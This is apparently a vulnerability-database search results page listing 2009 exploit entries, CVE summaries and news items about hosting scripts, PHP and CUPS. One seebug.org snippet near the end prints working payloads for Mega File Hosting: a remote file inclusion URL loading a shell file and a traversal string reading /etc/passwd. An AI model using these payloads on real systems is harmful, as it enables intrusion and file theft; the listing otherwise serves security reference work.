Lucene search
+L

2860 matches found

0day.today
0day.today
added 2009/07/24 12:0 a.m.29 views

Scripteen Free Image Hosting Script 2.3 Insecure Cookie Handling Vuln

Exploit for unknown platform in category web applications ===================================================================== Scripteen Free Image Hosting Script 2.3 Insecure Cookie Handling Vuln ===================================================================== || || | || o,7 || . o7 || q||...

7.1AI score
SaveExploits0
exploitpack
exploitpack
added 2009/07/24 12:0 a.m.24 views

Scripteen Free Image Hosting Script 2.3 - Insecure Cookie Handling

Scripteen Free Image Hosting Script 2.3 - Insecure Cookie Handling || || | || o,7 || . o7 || q||| o\, : / / . /QQQQQQQQQQQQQQQQQQQ\ /QQQ/\QQQ\ /QQQQQ/ \QQQQQQ\ /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE... |QQQQ| |QQQQ| |QQQQ| |QQQQ\ iqaahotmail.fr...

SaveExploits0
seebug.org
seebug.org
added 2009/07/24 12:0 a.m.36 views

Scripteen Free Image Hosting Script 2.3 Insecure Cookie Handling Vuln

No description provided by source. || || | || o,7 || . o7 || q||| o\, : / / . /QQQQQQQQQQQQQQQQQQQ\ /QQQ/\QQQ\ /QQQQQ/ \QQQQQQ\ /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE... |QQQQ| |QQQQ| |QQQQ| |QQQQ\ iqaahotmail.fr /QQQQ| \QQQQ\ /QQQQ/ \QQQQ...

7.1AI score
SaveExploits0
Exploit DB
Exploit DB
added 2009/07/24 12:0 a.m.46 views

Scripteen Free Image Hosting Script 2.3 - Insecure Cookie Handling

|| || | || o,7 || . o7 || q||| o\, : / / . /QQQQQQQQQQQQQQQQQQQ\ /QQQ/\QQQ\ /QQQQQ/ \QQQQQQ\ /QQQQ/ QQQQ\ /QQQQ/ \QQQQ\ |QQQQ/ By Qabandi \QQQQ| |QQQQ| |QQQQ| |QQQQ| From Kuwait, PEACE... |QQQQ| |QQQQ| |QQQQ| |QQQQ\ iqaahotmail.fr /QQQQ| \QQQQ\ /QQQQ/ \QQQQ\ /QQ\QQQQ/ \QQQQ\ \QQQQQQQ/ \QQQQQ...

7.5CVSS5.8AI score0.06431EPSS
SaveExploits2
Packet Storm
Packet Storm
added 2009/07/21 12:0 a.m.29 views

GejoSoft Image Hosting Community XSS

-----------------------------I AM MUSLIM !!------------------------------ ============================================================================== / \ | | | | / \ | | | | / \ | | | | / \ | || | / \ | | | | / \ | | IN THE NAME OF // \ || || // \ || ||...

0.1AI score
SaveExploits0
Exploit DB
Exploit DB
added 2009/07/20 12:0 a.m.29 views

GejoSoft Image Hosting Community - Cross-Site Scripting

source: https://www.securityfocus.com/bid/43486/info GejoSoft Image Hosting Community is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an...

4.3CVSS5.8AI score0.01544EPSS
SaveExploits2
ThreatPost
ThreatPost
added 2009/06/09 3:31 p.m.14 views

Attack destroys data of thousands of Web host Vaserv's customers

From The Register Dan Goodin A targeted attack against a U.K.-based Web hosting company has destroyed the data of an estimated 100,000 of the company’s customers’ sites. Vaserv.com was hit by an attack this weekend that exploited a flaw in a virtualization application the company was running,...

1.6AI score
SaveExploits0References3
NVD
NVD
added 2009/05/01 5:30 p.m.18 views

CVE-2008-6782

SQL injection vulnerability in directory.php in Sites for Scripts SFS EZ Hosting Directory allows remote attackers to execute arbitrary SQL commands via the catid parameter in a list action...

7.5CVSS8.3AI score0.01024EPSS
SaveExploits2References5
Prion
Prion
added 2009/05/01 5:30 p.m.16 views

Sql injection

SQL injection vulnerability in directory.php in Sites for Scripts SFS EZ Hosting Directory allows remote attackers to execute arbitrary SQL commands via the catid parameter in a list action...

7.5CVSS9.1AI score0.01024EPSS
SaveExploits2References5
CVE
CVE
added 2009/05/01 5:0 p.m.49 views

CVE-2008-6782

The CVE-2008-6782 entry concerns a SQL injection vulnerability in directory.php of the Sites for Scripts (SFS) EZ Hosting Directory. The issue arises when an attacker provides a crafted cat_id value in a list action, allowing remote command execution against the database. According to the NVD ent...

7.5CVSS8.7AI score0.01024EPSS
SaveExploits2References5Affected Software1
Cvelist
Cvelist
added 2009/05/01 5:0 p.m.23 views

CVE-2008-6782

SQL injection vulnerability in directory.php in Sites for Scripts SFS EZ Hosting Directory allows remote attackers to execute arbitrary SQL commands via the catid parameter in a list action...

8.3AI score0.01024EPSS
SaveExploits2References5
seebug.org
seebug.org
added 2009/04/21 12:0 a.m.77 views

CUPS '_cupsImageReadTIFF()'整数溢出漏洞

BUGTRAQ ID: 34571 CVE ID:CVE-2009-0163 CNCVE ID:CNCVE-20090163 Common Unix Printing SystemCUPS是一款通用Unix打印系统,是Unix环境下的跨平台打印解决方案,基于Internet打印协议,提供大多数PostScript和raster打印机服务。 CUPS处理TIFF图像存在整数溢出,远程攻击者可以利用漏洞以应用程序权限执行任意指令。...

6.8CVSS1.1AI score0.04246EPSS
SaveExploits2
exploitpack
exploitpack
added 2009/04/10 12:0 a.m.26 views

PHP 5.2.9 cURL - Safe_mode open_basedir Restriction Bypass

PHP 5.2.9 cURL - Safemode openbasedir Restriction Bypass source: https://www.securityfocus.com/bid/34475/info PHP is prone to a 'safemode' and 'openbasedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access files in unauthorized locations. This vulnerability...

0.2AI score
SaveExploits0
Exploit DB
Exploit DB
added 2009/04/10 12:0 a.m.46 views

PHP 5.2.9 cURL - 'Safe_mode' / 'open_basedir' Restriction Bypass

source: https://www.securityfocus.com/bid/34475/info PHP is prone to a 'safemode' and 'openbasedir' restriction-bypass vulnerability. Successful exploits could allow an attacker to access files in unauthorized locations. This vulnerability would be an issue in shared-hosting configurations where...

5.8AI score
SaveExploits0
ThreatPost
ThreatPost
added 2009/04/06 2:49 p.m.9 views

Web sites disrupted by attack on Register.com

From Washington Post Brian Krebs Web site host and domain name registrar Register.com has been the target of a sustained attack this week washingtonpost.com, disrupting service for thousands of customers. The attacks began on Wednesday, causing a three-hour outage for many Web sites that rely on...

2.6AI score
SaveExploits0References4
Prion
Prion
added 2009/03/19 10:30 a.m.18 views

Remote file inclusion

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

7.5CVSS7.9AI score0.0254EPSS
SaveExploits2References5Affected Software1
NVD
NVD
added 2009/03/19 10:30 a.m.22 views

CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

7.5CVSS7.4AI score0.0254EPSS
SaveExploits2References5
Cvelist
Cvelist
added 2009/03/19 10:0 a.m.29 views

CVE-2009-0966

PHP remote file inclusion vulnerability in cross.php in YABSoft Mega File Hosting 1.2 allows remote attackers to execute arbitrary PHP code via a URL in the url parameter. NOTE: this can also be leveraged to include and execute arbitrary local files via .. dot dot sequences...

7.4AI score0.0254EPSS
SaveExploits2References5
CVE
CVE
added 2009/03/19 10:0 a.m.52 views

CVE-2009-0966

Affected product/variant: YABSoft Mega File Hosting 1.2 (cross.php). Vulnerability: PHP remote file inclusion via the url parameter in cross.php, enabling execution of arbitrary PHP code. NOTE: can also include and execute arbitrary local files using .. sequences. Impact (as documented): arbitrar...

7.5CVSS7.7AI score0.0254EPSS
SaveExploits2References5Affected Software1
seebug.org
seebug.org
added 2009/03/19 12:0 a.m.22 views

Mega File Hosting Script 1.2 (cross.php url) RFI Vulnerability

No description provided by source. Mega File Hosting || Remote/Local File inclusion For All Version Just addition This Exploit and enjoy /cross.php?url=http://site.com/sh3ll.txt /cross.php?url=../../../.../../../../../etc/passwd%00 Author Garry /// 25/02/2009 Www.Hacking.ge...

7.1AI score
SaveExploits0
Rows per page
Query Builder